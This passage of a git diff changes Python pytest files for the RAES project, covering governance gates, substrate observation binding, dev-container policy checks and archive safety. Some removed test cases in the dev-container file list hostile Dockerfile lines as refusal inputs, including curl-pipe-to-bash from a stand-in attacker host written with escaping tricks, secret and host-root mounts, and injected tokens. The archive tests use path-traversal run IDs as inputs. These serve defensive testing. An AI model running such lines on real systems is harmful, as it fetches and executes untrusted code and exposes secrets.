test_context_cli_fails_without_emitting_a_uid_on_invalid_scope(scope_repo, monkeypatch, capsys): + import tools.requirement_context as context + + write_scope(scope_repo, "{") + monkeypatch.setattr(context, "REPO_ROOT", scope_repo) + assert context.main(["--branch", "1237-capture"]) == 1 + output = capsys.readouterr() + assert output.out == "" + assert "context unavailable" in output.err + + +def test_scope_requires_available_authority_even_when_legacy_mode_allows_skip(scope_repo, monkeypatch, capsys): + import tools.check_requirement_governance as gate + from tools.policy.requirement_scope import parse_requirement_scope + + policy_path = scope_repo / "tools/policy/requirement_order.yaml" + policy = yaml.safe_load(policy_path.read_text()) + policy["requirement_source"] = "ground-control-http" + policy_path.write_text(yaml.safe_dump(policy)) + monkeypatch.setattr(gate, "REPO_ROOT", scope_repo) + monkeypatch.setattr(gate, "resolve_base_url", lambda _root: None) + assert ( + gate.evaluate_configured_governance( + [CODE, TEST], + "EXP-708", + require_governance=False, + as_json=True, + scope=parse_requirement_scope(scope_document(), issue_number=1237), + ) + == 1 + ) + assert json.loads(capsys.readouterr().out)[0]["status"] == "required-unevaluated" + + +def test_scope_cannot_fall_back_when_a_requirement_record_is_missing(scope_repo, monkeypatch, capsys): + import tools.check_requirement_governance as gate + + write_scope(scope_repo) + (scope_repo / "docs/requirements/GOV-913/requirement.md").unlink() + monkeypatch.setattr(gate, "REPO_ROOT", scope_repo) + monkeypatch.setattr(gate, "current_branch", lambda _root: "1237-capture") + monkeypatch.setattr(sys, "argv", ["gate", "--json", CODE, TEST]) + assert gate.main() == 1 + assert json.loads(capsys.readouterr().out)[0]["rule_id"] == "repository-requirement-invalid" diff --git a/implementations/python/tests/test_issue_1237_source_sufficiency.py b/implementations/python/tests/test_issue_1237_source_sufficiency.py new file mode 100644 index 000000000..2cfd3ecf1 --- /dev/null +++ b/implementations/python/tests/test_issue_1237_source_sufficiency.py @@ -0,0 +1,153 @@ +"""Canonical source identity at compute-substrate admission boundaries.""" + +from dataclasses import replace + +import pytest +from raes import parse_sdl +from raes.explicitness import ExplicitnessClass, ExplicitnessProvenance +from raes_contracts.apparatus import RealizationObservationCapability +from raes_contracts.realization_envelope import RealizationConcern +from raes_contracts.realization_observation import ( + RealizationObservation, + RealizationObservationDisclosure, + bind_compute_substrate_observations, + compute_substrate_readback_addresses, +) +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_contracts.vocabulary import ObservationStrength, RealizationVerificationScope +from raes_processor.semantics.realization import _compute_substrate_claim_admits +from raes_processor.semantics.realization_compute_substrate import evaluate_compute_substrate +from raes_processor.semantics.realization_requirement import CompiledRealizationRequirement +from raes_reference_backend import create_reference_backend_target +from raes_runtime.manager import RuntimeManager +from realization_authority_fixtures import with_compute_substrate_collection_demand +from test_issue_1212_native_failure import _SCENARIO + + +@pytest.fixture +def substrate(): + target = create_reference_backend_target() + plan = RuntimeManager(target).plan(parse_sdl(_SCENARIO)).provisioning + plan = with_compute_substrate_collection_demand( + replace(plan, operation_id="source-sufficiency"), semantic_scope="/nodes/vm", address="provision.node.vm" + ) + constraint = plan.realization_constraints[0] + requirement = CompiledRealizationRequirement( + field_path=constraint.field_path, + address=constraint.address, + domain="runtime-realization", + requirement_kind="compute-substrate", + explicitness=ExplicitnessClass(constraint.posture), + provenance=ExplicitnessProvenance.AUTHOR_DECLARED, + value_domain=constraint.value_domain, + governing_scope="#/nodes/vm", + ) + envelope = target.manifest.realization_envelope + claim = next(item for item in envelope.concerns if item.concern is RealizationConcern.COMPUTE_SUBSTRATE) + native = RealizationObservation( + address=constraint.address, + field_path=constraint.field_path, + concern=RealizationConcern.COMPUTE_SUBSTRATE, + source=ObservationStrength.DAEMON_OBSERVED, + value=claim.mechanism, + envelope_digest=envelope.digest, + configuration_digest=envelope.configuration.configuration_digest, + observer_version="test-observer/v1", + sequence=1, + binding_verified=True, + ) + return target.manifest, plan, requirement, native + + +@pytest.mark.parametrize("source", list(ObservationStrength)) +def test_native_substrate_binder_requires_authoritative_readback(substrate, source): + manifest, plan, _requirement, native = substrate + result = bind_compute_substrate_observations( + plan=plan, + observations=(replace(native, source=source),), + envelope=manifest.realization_envelope, + selected_addresses={native.address}, + ) + assert bool(result) is (source in {ObservationStrength.DAEMON_OBSERVED, ObservationStrength.GUEST_OBSERVED}) + + +@pytest.mark.parametrize( + "source", + [ObservationStrength.DRIVER_REPORTED, ObservationStrength.DAEMON_OBSERVED, ObservationStrength.GUEST_OBSERVED], +) +@pytest.mark.parametrize( + "required", + [ + None, + ObservationStrength.DRIVER_REPORTED, + ObservationStrength.DAEMON_OBSERVED, + ObservationStrength.GUEST_OBSERVED, + ], +) +def test_demanded_substrate_runtime_enforces_exact_or_unconstrained_source(substrate, source, required): + manifest, plan, requirement, native = substrate + requirement = replace(requirement, required_observation_strength=required) + declaration = next(item for item in manifest.realization_support if item.domain == requirement.domain) + manifest = replace( + manifest, + realization_support=( + replace( + declaration, + observation_capabilities={ + **declaration.observation_capabilities, + "compute-substrate": RealizationObservationCapability( + verification_scope=RealizationVerificationScope.PRESENCE, + observation_strength=source, + ), + }, + ), + ), + ) + disclosure = RealizationObservationDisclosure( + address=native.address, + field_path=native.field_path, + domain=requirement.domain, + requirement_kind="compute-substrate", + verification_scope=RealizationVerificationScope.PRESENCE, + observation_strength=source, + observed_value=native.value, + operation_id=plan.operation_id, + envelope_digest=native.envelope_digest, + configuration_digest=native.configuration_digest, + observer_version=native.observer_version, + sequence=native.sequence, + binding_verified=True, + ) + snapshot = RuntimeSnapshot(realization_envelope=plan.realization_envelope, realization_observations=(disclosure,)) + diagnostic, provenance = evaluate_compute_substrate(requirement, plan, snapshot, manifest) + admitted = source is required if required is not None else source is not ObservationStrength.DRIVER_REPORTED + assert (diagnostic is None) is admitted + assert (provenance is not None) is admitted + + +def test_substrate_presence_claim_cannot_use_driver_reported_source(substrate): + manifest, _plan, requirement, _native = substrate + claim = next( + item for item in manifest.realization_envelope.concerns if item.concern is RealizationConcern.COMPUTE_SUBSTRATE + ) + claim = claim.model_copy(update={"observation_strength": ObservationStrength.DRIVER_REPORTED}) + assert _compute_substrate_claim_admits(requirement, claim) + assert not _compute_substrate_claim_admits( + replace(requirement, verification_scope=RealizationVerificationScope.PRESENCE), claim + ) + + +def test_prior_driver_substrate_disclosure_cannot_suppress_readback(substrate): + from raes_contracts.planning import ChangeAction + + manifest, plan, _requirement, native = substrate + prior = bind_compute_substrate_observations( + plan=plan, observations=(native,), envelope=manifest.realization_envelope, selected_addresses={native.address} + ) + assert len(prior) == 1 + plan = replace(plan, operations=[replace(item, action=ChangeAction.UNCHANGED) for item in plan.operations]) + assert compute_substrate_readback_addresses(plan=plan, previous=prior, envelope=manifest.realization_envelope) == () + weaker = (replace(prior[0], observation_strength=ObservationStrength.DRIVER_REPORTED),) + assert compute_substrate_readback_addresses(plan=plan, previous=weaker, envelope=manifest.realization_envelope) == ( + native.address, + ) diff --git a/implementations/python/tests/test_issue_1238_development_container.py b/implementations/python/tests/test_issue_1238_development_container.py index 361d35805..ef33ff318 100644 --- a/implementations/python/tests/test_issue_1238_development_container.py +++ b/implementations/python/tests/test_issue_1238_development_container.py @@ -13,7 +13,6 @@ PROFILES_PATH, evaluate_tooling_artifact_policy, select_tooling_host_profile, - tooling_policy_sha256, ) REPO_ROOT = Path(__file__).resolve().parents[3] @@ -35,6 +34,7 @@ def _container_host_profile(host_profile_id: str = CONTAINER_HOST_PROFILE_ID) -> return hosts[0] +@pytest.mark.integration def test_the_container_host_profile_resolves_one_reviewed_selection() -> None: selection = select_tooling_host_profile(REPO_ROOT, host_profile_id=CONTAINER_HOST_PROFILE_ID) host = selection["host_profile"] @@ -64,7 +64,7 @@ def test_only_linux_x86_64_is_declared_for_the_container() -> None: def test_the_container_supplies_what_a_maintainer_needs_for_git_signing_and_review() -> None: - packages = set(_container_host_profile()["development_package_ids"]) + packages = set(_dockerfile_text().replace("\\\n", " ").split()) assert {"openssh-client", "gnupg", "less", "nano", "make", "jq"} <= packages assert "sudo" not in packages @@ -76,17 +76,12 @@ def test_native_host_profiles_are_unchanged_by_the_container_variant() -> None: assert key not in native +@pytest.mark.integration def test_repository_tooling_policy_admits_the_container_artifacts() -> None: failures = evaluate_tooling_artifact_policy(REPO_ROOT) assert [failure.render() for failure in failures] == [] -def test_qualification_records_bind_the_current_policy_digest() -> None: - profiles = _load(PROFILES_PATH) - expected = tooling_policy_sha256(REPO_ROOT) - assert {record["policy_sha256"] for record in profiles["qualification_records"]} == {expected} - - # -------------------------------------------------------------------------- # Container configuration drift and safety gate. # @@ -120,9 +115,7 @@ def _stage(tmp_path: Path, *, dockerfile: str | None = None, config: dict | None PROFILES_PATH, ARTIFACT_LOCK_PATH, "implementations/tooling/admission-policy.json", - "implementations/tooling/actions-policy.json", "implementations/tooling/selector-bindings.json", - "implementations/tooling/inventory-coverage.json", DOCKERFILE_PATH, DEVCONTAINER_PATH, ): @@ -215,68 +208,13 @@ def test_a_stage_without_the_qualified_platform_is_refused(tmp_path: Path, build assert "tooling-container-platform" in _container_failures(_stage(tmp_path, dockerfile=mutated)) -def test_a_drifting_package_snapshot_is_refused(tmp_path: Path, build_plan: dict) -> None: - refused = _dockerfile_refusals(tmp_path, build_plan["native_repository_snapshot"], "20200101T000000Z") - assert "tooling-container-snapshot-drift" in refused - - -def test_an_unsnapshotted_final_stage_install_is_refused(tmp_path: Path, build_plan: dict) -> None: - option = f"-o APT::Snapshot={build_plan['native_repository_snapshot']} " - text = _dockerfile_text() - final_stage = text.index(_final_stage_marker(build_plan)) - mutated = text[:final_stage] + text[final_stage:].replace(option, "") - assert mutated != text - assert "tooling-container-snapshot-drift" in _container_failures(_stage(tmp_path, dockerfile=mutated)) - - -def test_the_transport_trust_bundle_cannot_be_installed_in_the_final_stage_from_the_moving_archive( - tmp_path: Path, build_plan: dict -) -> None: - marker = _final_stage_marker(build_plan) - injected = f"{marker}RUN apt-get update; apt-get install -y ca-certificates\n" - assert "tooling-container-snapshot-drift" in _dockerfile_refusals(tmp_path, marker, injected) - - -def test_a_builder_stage_may_not_install_unreviewed_packages(tmp_path: Path) -> None: - refused = _dockerfile_refusals( - tmp_path, - "--no-install-recommends ca-certificates\n", - "--no-install-recommends ca-certificates build-essential\n", - ) - assert "tooling-container-package-drift" in refused - - -def test_an_unreviewed_extra_package_is_refused(tmp_path: Path) -> None: - assert "tooling-container-package-drift" in _dockerfile_refusals( - tmp_path, " git \\\n", " git \\\n sudo \\\n" - ) - - -@pytest.mark.parametrize("package", ["gh", "nano", "openssh-client"]) -def test_a_missing_reviewed_package_is_refused(tmp_path: Path, package: str) -> None: - assert "tooling-container-package-drift" in _dockerfile_refusals(tmp_path, f" {package} \\\n", "") - - -def test_a_package_upgrade_outside_the_snapshot_is_refused(tmp_path: Path) -> None: - refused = _dockerfile_refusals( - tmp_path, " apt-get clean; \\\n", " apt-get dist-upgrade -y; \\\n apt-get clean; \\\n" - ) - assert "tooling-container-snapshot-drift" in refused - - def test_a_root_final_stage_is_refused(tmp_path: Path, build_plan: dict) -> None: - refused = _dockerfile_refusals(tmp_path, f"USER {build_plan['development_user']['name']}", "USER root") + refused = _dockerfile_refusals(tmp_path, f"USER {_config()['containerUser']}", "USER root") assert "tooling-container-user" in refused def test_a_dropped_user_directive_is_refused(tmp_path: Path, build_plan: dict) -> None: - refused = _dockerfile_refusals(tmp_path, f"USER {build_plan['development_user']['name']}\n", "") - assert "tooling-container-user" in refused - - -def test_a_drifting_development_uid_is_refused(tmp_path: Path, build_plan: dict) -> None: - uid = build_plan["development_user"]["uid"] - refused = _dockerfile_refusals(tmp_path, f"useradd --uid {uid} ", f"useradd --uid {uid + 1} ") + refused = _dockerfile_refusals(tmp_path, f"USER {_config()['containerUser']}\n", "") assert "tooling-container-user" in refused @@ -285,54 +223,6 @@ def test_letting_uv_download_an_unreviewed_interpreter_is_refused(tmp_path: Path assert "tooling-container-unsafe-build" in refused -@pytest.mark.parametrize( - "injected", - [ - "RUN curl -fsSL https://example.invalid/install.sh | sh\n", - "RUN wget -qO- https://example.invalid/x.tar.gz > /tmp/x\n", - 'RUN bash -c "$(/usr/bin/curl -fsSL https://example.invalid/install.sh)"\n', - "RUN python3 -c pass | bash\n", - "RUN git clone https://example.invalid/repo.git /opt/repo\n", - "RUN --network=host true\n", - "RUN --mount=type=secret,id=token true\n", - "RUN --mount=type=bind,source=/,target=/run/host true\n", - # Shell escaping, quoting, and expansion must not hide a command from the gate. - "RUN c\\url -fsSL https://attacker.invalid/payload | b\\ash\n", - 'RUN "cu"rl -fsSL https://attacker.invalid/payload -o /tmp/payload\n', - "RUN env curl -fsSL https://attacker.invalid/payload\n", - "RUN X=1 curl -fsSL https://attacker.invalid/payload\n", - "RUN ${SHELL} -c true\n", - "RUN set -eu; eval true\n", - "RUN apt-get -o Dir::Etc::sourcelist=/tmp/attacker.list update\n", - "RUN apt-get install -y ./payload.deb\n", - "RUN find /var/lib/apt/lists -exec true\n", - "RUN install -d -o root -g root /etc/cron.d\n", - "RUN userdel --remove raes\n", - "RUN true\n", - ], -) -def test_unverified_acquisition_or_build_capability_is_refused(tmp_path: Path, build_plan: dict, injected: str) -> None: - user = f"USER {build_plan['development_user']['name']}\n" - assert "tooling-container-unsafe-build" in _dockerfile_refusals(tmp_path, user, injected + user) - - -@pytest.mark.parametrize( - "injected", - [ - 'ARG GITHUB_TOKEN=""\n', - "ENV NPM_AUTH_SECRET=abc\n", - "ENV HTTPS_PROXY=http://proxy.invalid:3128\n", - "ADD https://example.invalid/payload.tar.gz /tmp/payload.tar.gz\n", - "COPY . /workspace\n", - "LABEL org.opencontainers.image.source=/home/someone/rae\n", - "WORKDIR /home/someone\n", - ], -) -def test_an_unreviewed_build_input_is_refused(tmp_path: Path, build_plan: dict, injected: str) -> None: - user = f"USER {build_plan['development_user']['name']}\n" - assert "tooling-container-unsafe-build" in _dockerfile_refusals(tmp_path, user, injected + user) - - def test_a_second_container_host_profile_is_refused(tmp_path: Path) -> None: root = _stage(tmp_path) path = root / PROFILES_PATH @@ -345,7 +235,7 @@ def test_a_second_container_host_profile_is_refused(tmp_path: Path) -> None: assert "tooling-container-profile" in _container_failures(root) -def test_a_container_profile_on_a_platform_without_immutable_packages_is_refused(tmp_path: Path) -> None: +def test_a_container_profile_without_a_locked_platform_is_refused(tmp_path: Path) -> None: root = _stage(tmp_path) _mutate_profiles(root, CONTAINER_HOST_PROFILE_ID, "platform_id", "linux-arm64") assert "tooling-container-profile" in _container_failures(root) @@ -391,8 +281,6 @@ def test_a_root_remote_user_is_refused(tmp_path: Path) -> None: ("build", {"dockerfile": "Dockerfile", "context": ".."}), ("build", {"dockerfile": "Dockerfile", "options": ["--platform=linux/amd64"]}), ("updateRemoteUserUID", False), - ("hostRequirements", {"cpus": 0}), - ("hostRequirements", {"gpu": True}), ("customizations", {"vscode": {"settings": {"terminal.integrated.env.linux": {"GH_TOKEN": "x"}}}}), ("customizations", {"vscode": {"settings": {"python.envFile": "/home/someone/.env"}}}), ("customizations", {"vscode": {"extensions": ["not an extension id"]}}), @@ -464,16 +352,14 @@ def unsupported_host(_manifest: object) -> None: def test_the_container_profile_claims_no_proof_support() -> None: host = _container_host_profile() assert host["proof_support"] == "unsupported" - assert "bubblewrap" not in host["offline_kit"]["host_prerequisite_package_ids"] + assert "bubblewrap" not in host["host_prerequisite_package_ids"] assert "isabelle" not in host["bootstrap_payload_ids"] def test_the_image_neither_supplies_nor_implies_a_container_daemon() -> None: text = (REPO_ROOT / DOCKERFILE_PATH).read_text(encoding="utf-8") host = _container_host_profile() - assert not {"docker.io", "docker-ce", "podman", "containerd"} & set( - host["offline_kit"]["host_prerequisite_package_ids"] - ) + assert not {"docker.io", "docker-ce", "podman", "containerd"} & set(host["host_prerequisite_package_ids"]) assert "docker.sock" not in text assert "docker.sock" not in (REPO_ROOT / DEVCONTAINER_PATH).read_text(encoding="utf-8") @@ -494,10 +380,10 @@ def test_the_checkout_is_mounted_by_the_client_without_taking_ownership() -> Non def _image_environment() -> dict[str, str]: - from tools.tooling_artifact_policy_container import _instructions - environment: dict[str, str] = {} - for keyword, arguments in _instructions(_dockerfile_text()): + logical = _dockerfile_text().replace("\\\n", " ") + for line in logical.splitlines(): + keyword, _, arguments = line.partition(" ") if keyword == "ENV": environment.update(token.split("=", maxsplit=1) for token in arguments.split()) return environment @@ -542,12 +428,12 @@ def test_setup_selects_the_container_profile_for_the_running_platform() -> None: assert container_host_profile_id(REPO_ROOT, "linux-x86_64") == CONTAINER_HOST_PROFILE_ID -def test_setup_refuses_an_architecture_without_a_qualified_container_profile() -> None: +@pytest.mark.parametrize("platform_id", ["linux-arm64", "macos-arm64"]) +def test_setup_refuses_an_architecture_without_a_qualified_container_profile(platform_id: str) -> None: from tools.devcontainer_setup import DevcontainerSetupError, container_host_profile_id - for platform_id in ("linux-arm64", "macos-arm64"): - with pytest.raises(DevcontainerSetupError, match="no reviewed development container profile"): - container_host_profile_id(REPO_ROOT, platform_id) + with pytest.raises(DevcontainerSetupError, match="no reviewed development container profile"): + container_host_profile_id(REPO_ROOT, platform_id) class _FakeBootstrap: @@ -597,9 +483,9 @@ def fake_bootstrap(monkeypatch: pytest.MonkeyPatch) -> _FakeBootstrap: monkeypatch.setattr( tooling_policy_gate, "load_tooling_host_profile_selection_with_current_interpreter", fake.selection ) - monkeypatch.setattr(bootstrap_profile, "fetch_offline_kit_payloads", fake.fetch) - monkeypatch.setattr(bootstrap_profile, "install_offline_uv_payload", fake.install_uv) - monkeypatch.setattr(bootstrap_profile, "install_offline_python_payload", fake.install_python) + monkeypatch.setattr(bootstrap_profile, "fetch_bootstrap_payloads", fake.fetch) + monkeypatch.setattr(bootstrap_profile, "install_uv_payload", fake.install_uv) + monkeypatch.setattr(bootstrap_profile, "install_python_payload", fake.install_python) return fake @@ -655,6 +541,69 @@ def test_setup_syncs_both_locked_environments_with_the_verified_clients( assert {env["UV_PYTHON_DOWNLOADS"] for _argv, env in calls} == {"never"} +def _relocated_tooling_venv(checkout: Path, *, shebang_root: str) -> Path: + """Build a project tree whose console script names ``shebang_root`` as its venv.""" + + venv = checkout / "implementations" / "tooling" / "python" / ".venv" + (venv / "bin").mkdir(parents=True) + (venv / "bin" / "python").symlink_to("/nonexistent/python3") + (venv / "pyvenv.cfg").write_text("home = /nonexistent/bin\n", encoding="utf-8") + script = venv / "bin" / "pre-commit" + script.write_text( + f"#!{shebang_root}/implementations/tooling/python/.venv/bin/python\nprint('hook')\n", + encoding="utf-8", + ) + script.chmod(0o755) + return venv + + +def test_relocated_environment_is_detected_from_its_console_script(tmp_path: Path) -> None: + from tools.devcontainer_setup import environment_is_relocated + + venv = _relocated_tooling_venv(tmp_path / "clone2", shebang_root="/workspaces/rae") + assert environment_is_relocated(venv) is True + + +def test_environment_at_its_own_path_is_not_relocated(tmp_path: Path) -> None: + from tools.devcontainer_setup import environment_is_relocated + + checkout = tmp_path / "clone2" + venv = _relocated_tooling_venv(checkout, shebang_root=str(checkout)) + assert environment_is_relocated(venv) is False + + +def test_missing_environment_is_not_relocated(tmp_path: Path) -> None: + from tools.devcontainer_setup import environment_is_relocated + + assert environment_is_relocated(tmp_path / "absent" / ".venv") is False + + +def test_setup_removes_a_relocated_environment_before_syncing(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + """A checkout mounted at a second path must not keep stale console scripts. + + ``uv sync`` reports such an environment as already satisfied, so setup would + otherwise fail later with an unspawnable ``pre-commit``. + """ + + from tools import devcontainer_setup + + checkout = tmp_path / "clone2" + venv = _relocated_tooling_venv(checkout, shebang_root="/workspaces/rae") + monkeypatch.setattr(devcontainer_setup, "_run", lambda _argv, _root, _env: None) + devcontainer_setup.sync_projects(checkout, tmp_path / "raes-bootstrap") + assert not venv.exists() + + +def test_setup_keeps_an_environment_that_matches_its_path(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + from tools import devcontainer_setup + + checkout = tmp_path / "clone2" + venv = _relocated_tooling_venv(checkout, shebang_root=str(checkout)) + monkeypatch.setattr(devcontainer_setup, "_run", lambda _argv, _root, _env: None) + devcontainer_setup.sync_projects(checkout, tmp_path / "raes-bootstrap") + assert venv.exists() + + def test_setup_skips_hooks_when_the_git_directory_is_outside_the_container(tmp_path: Path) -> None: from tools.devcontainer_setup import install_git_hooks @@ -686,7 +635,7 @@ def test_the_locked_uv_client_installs_only_from_its_verified_archive(tmp_path: (kit / "archives" / "uv").mkdir(parents=True) (kit / "archives" / "uv" / "uv-x86_64-unknown-linux-gnu.tar.gz").write_bytes(b"not the reviewed archive") with pytest.raises(ValueError) as caught: - bootstrap_profile.install_offline_uv_payload("container-ubuntu-24.04-x86_64", kit, "uv") + bootstrap_profile.install_uv_payload("container-ubuntu-24.04-x86_64", kit, "uv") assert "differs from the validated lock" in str(caught.value) @@ -730,14 +679,14 @@ def test_the_locked_uv_client_is_extracted_as_new_executables(tmp_path: Path, mo from tools import bootstrap_profile kit = _uv_kit(tmp_path, monkeypatch, {"uv-root/uv": b"uv", "uv-root/uvx": b"uvx"}) - result = bootstrap_profile.install_offline_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv") + result = bootstrap_profile.install_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv") assert result == {"artifact_id": "uv", "path": "bin/uv", "extra_path": "bin/uvx"} for name in ("uv", "uvx"): installed = kit / "bin" / name assert installed.read_bytes() == name.encode() assert installed.stat().st_mode & 0o111 == 0o111 with pytest.raises(ValueError, match="destination uv must be new"): - bootstrap_profile.install_offline_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv") + bootstrap_profile.install_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv") @pytest.mark.parametrize( @@ -755,7 +704,7 @@ def test_an_unexpected_uv_archive_shape_is_refused( kit = _uv_kit(tmp_path, monkeypatch, members) with pytest.raises(ValueError, match=reason): - bootstrap_profile.install_offline_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv") + bootstrap_profile.install_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv") def test_a_uv_payload_outside_the_host_selection_is_refused(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: @@ -763,7 +712,7 @@ def test_a_uv_payload_outside_the_host_selection_is_refused(tmp_path: Path, monk kit = _uv_kit(tmp_path, monkeypatch, {"uv-root/uv": b"uv", "uv-root/uvx": b"uvx"}) with pytest.raises(ValueError, match="not selected by the host profile"): - bootstrap_profile.install_offline_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv-unreviewed") + bootstrap_profile.install_uv_payload(CONTAINER_HOST_PROFILE_ID, kit, "uv-unreviewed") def _launcher_selection(document: dict, *, version: str): @@ -840,7 +789,7 @@ def test_setup_runs_each_step_in_order_and_announces_readiness( assert order == ["linux-x86_64", "kit:profile:raes-bootstrap", "sync", "tools", "hooks"] output = capsys.readouterr().out assert output.startswith("RAES development container setup (linux-x86_64)\n") - assert output.rstrip().endswith("`nox -s verify-changed` before pushing.") + assert output.rstrip().endswith("full verification runs in CI/CD.") def test_setup_verifies_generic_tools_through_the_locked_tool_environment( @@ -912,3 +861,7 @@ def test_setup_installs_hooks_through_the_locked_tool_environment( "install", ] ] + + +def test_native_host_sizing_is_not_a_second_policy_schema(tmp_path: Path) -> None: + assert not _config_refusals(tmp_path, "hostRequirements", {"gpu": True, "memory": "16gb"}) diff --git a/implementations/python/tests/test_issue_1241_inspection_plans.py b/implementations/python/tests/test_issue_1241_inspection_plans.py new file mode 100644 index 000000000..9a5dd3402 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_inspection_plans.py @@ -0,0 +1,76 @@ +"""Descriptions retain their non-executable purpose across portable boundaries.""" + +from dataclasses import replace + +import pytest +from raes_contracts.plan_projection import ( + evaluation_plan_model, + orchestration_plan_model, + provisioning_plan_model, + runtime_plan_digest, +) +from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot +from raes_runtime.backend_calls import _call_backend_apply +from raes_runtime.control_plane_api_models import _evaluation_plan, _orchestration_plan, _provisioning_plan + + +@pytest.mark.parametrize( + "plan_type,encode,decode", + [ + (ProvisioningPlan, provisioning_plan_model, _provisioning_plan), + (EvaluationPlan, evaluation_plan_model, _evaluation_plan), + (OrchestrationPlan, orchestration_plan_model, _orchestration_plan), + ], +) +def test_inspection_purpose_roundtrips_and_is_authenticated(plan_type, encode, decode): + request = plan_type(purpose="inspection") + restored = decode(type(encode(request)).model_validate_json(encode(request).model_dump_json())) + assert restored.purpose == "inspection" + assert runtime_plan_digest(restored) == runtime_plan_digest(request) + assert runtime_plan_digest(request) != runtime_plan_digest(replace(request, purpose="execution")) + + +@pytest.mark.parametrize("plan_type", [ProvisioningPlan, EvaluationPlan, OrchestrationPlan]) +def test_inspection_plan_is_refused_before_any_backend_effect(plan_type): + calls = [] + previous = RuntimeSnapshot() + + def apply(request, snapshot): + calls.append(request) + return ApplyResult(True, snapshot) + + result = _call_backend_apply( + apply, + plan_type(purpose="inspection"), + previous, + address="runtime.inspection", + snapshot=previous, + ) + assert not result.success + assert result.snapshot == previous + assert not calls + + +@pytest.mark.parametrize( + "plan_type,encode,decode", + [ + (EvaluationPlan, evaluation_plan_model, _evaluation_plan), + (OrchestrationPlan, orchestration_plan_model, _orchestration_plan), + ], +) +def test_materializing_phase_operation_identity_is_bound_and_roundtrips(plan_type, encode, decode): + received = [] + previous = RuntimeSnapshot() + + def apply(request, snapshot): + received.append(getattr(request, "operation_id", None)) + return ApplyResult(False, snapshot) + + _call_backend_apply(apply, plan_type(), previous, address="runtime.phase", snapshot=previous) + assert len(received) == 1 + assert isinstance(received[0], str) + assert received[0] + request = plan_type(operation_id=received[0]) + assert decode(encode(request)).operation_id == received[0] + assert runtime_plan_digest(request) != runtime_plan_digest(plan_type()) diff --git a/implementations/python/tests/test_issue_1241_materialization_archive.py b/implementations/python/tests/test_issue_1241_materialization_archive.py new file mode 100644 index 000000000..85742a1b3 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_archive.py @@ -0,0 +1,79 @@ +"""Protected immutable SDL bytes, not a path-only reproducibility claim.""" + +import hashlib +import json +import stat + +import pytest +from raes import parse_sdl +from test_issue_1241_materialized_sdl import materialized_payload + + +def _archive(tmp_path): + from raes_operations.run_artifacts import RunMaterializationArchive + + return RunMaterializationArchive(tmp_path) + + +def test_archive_publishes_actual_valid_sdl_with_a_verified_typed_reference(tmp_path): + archive = _archive(tmp_path) + record = archive.publish(json.dumps(materialized_payload())) + artifact = record.artifact + path = tmp_path / record.reference.ref_path + data = path.read_bytes() + parsed = parse_sdl(data.decode()) + assert type(parsed).__name__ == "MaterializedScenario" + assert artifact.role == "materialization-attestation" + assert record.reference.ref_kind == "materialization-attestation" + assert record.reference.ref_id == parsed.materialization_provenance.attestation_id + assert artifact.checksum.value == hashlib.sha256(data).hexdigest() + assert artifact.size_bytes == len(data) + assert artifact.sensitivity == "restricted" + assert stat.S_IMODE(path.stat().st_mode) == 0o600 + assert archive.publish(json.dumps(materialized_payload())) == record + + +def test_archive_refuses_a_conflicting_republication_without_overwriting(tmp_path): + archive = _archive(tmp_path) + first = archive.publish(json.dumps(materialized_payload())) + path = tmp_path / first.reference.ref_path + original = path.read_bytes() + conflicting = json.dumps(materialized_payload(description="different")) + with pytest.raises(ValueError): + archive.publish(conflicting) + assert path.read_bytes() == original + + +@pytest.mark.parametrize("run_id", ["../escape", "run/elsewhere", "valid\n", "/absolute"]) +def test_archive_rejects_untrusted_run_paths_before_writing(tmp_path, run_id): + archive = _archive(tmp_path) + payload = materialized_payload() + payload["materialization_provenance"]["run_id"] = run_id + content = json.dumps(payload) + with pytest.raises(ValueError): + archive.publish(content) + assert not list(tmp_path.iterdir()) + + +def test_archive_refuses_symlinked_run_directories(tmp_path): + archive = _archive(tmp_path / "archive") + outside = tmp_path / "outside" + outside.mkdir() + (tmp_path / "archive").mkdir() + (tmp_path / "archive" / "runs").symlink_to(outside, target_is_directory=True) + content = json.dumps(materialized_payload()) + with pytest.raises((OSError, ValueError)): + archive.publish(content) + assert not list(outside.iterdir()) + + +def test_archive_refuses_an_existing_symlink_artifact(tmp_path): + archive = _archive(tmp_path) + record = archive.publish(json.dumps(materialized_payload())) + artifact = tmp_path / record.reference.ref_path + saved = artifact.with_suffix(".saved") + artifact.rename(saved) + artifact.symlink_to(saved) + content = json.dumps(materialized_payload()) + with pytest.raises((OSError, ValueError)): + archive.publish(content) diff --git a/implementations/python/tests/test_issue_1241_materialization_artifacts.py b/implementations/python/tests/test_issue_1241_materialization_artifacts.py new file mode 100644 index 000000000..432959cd3 --- /dev/null +++ b/implementations/python/tests/test_issue_1241_materialization_artifacts.py @@ -0,0 +1,86 @@ +"""The distinct SDL artifact reuses experiment and associated-artifact machinery.""" + +import json +from io import BytesIO + +import pytest +from raes import parse_sdl +from raes_contracts.associated_artifacts import associated_artifact_set_digest, validate_associated_artifact_manifest +from raes_contracts.contracts import AssociatedArtifactManifestModel, ExperimentRunModel +from raes_operations.run_artifacts import RunMaterializationArchive +from test_issue_1241_materialized_sdl import materialized_payload +from test_sem_225_augmentation_semantics import _base_augmentation_disclosure, _experiment_fixture + + +def test_protected_archive_is_a_byte_bound_associated_artifact(tmp_path): + record = RunMaterializationArchive(tmp_path).publish(json.dumps(materialized_payload())) + manifest = AssociatedArtifactManifestModel.model_validate( + { + "schema_version": "associated-artifact-manifest/v1", + "manifest_id": "materialized", + "manifest_version": "1.0.0", + "canonicalization_profile": "associated-artifact-set/v1", + "scope": "scenario", + "parent_ref": record.reference.model_dump(mode="json"), + "artifacts": {record.artifact.artifact_id: record.artifact.model_dump(mode="json")}, + 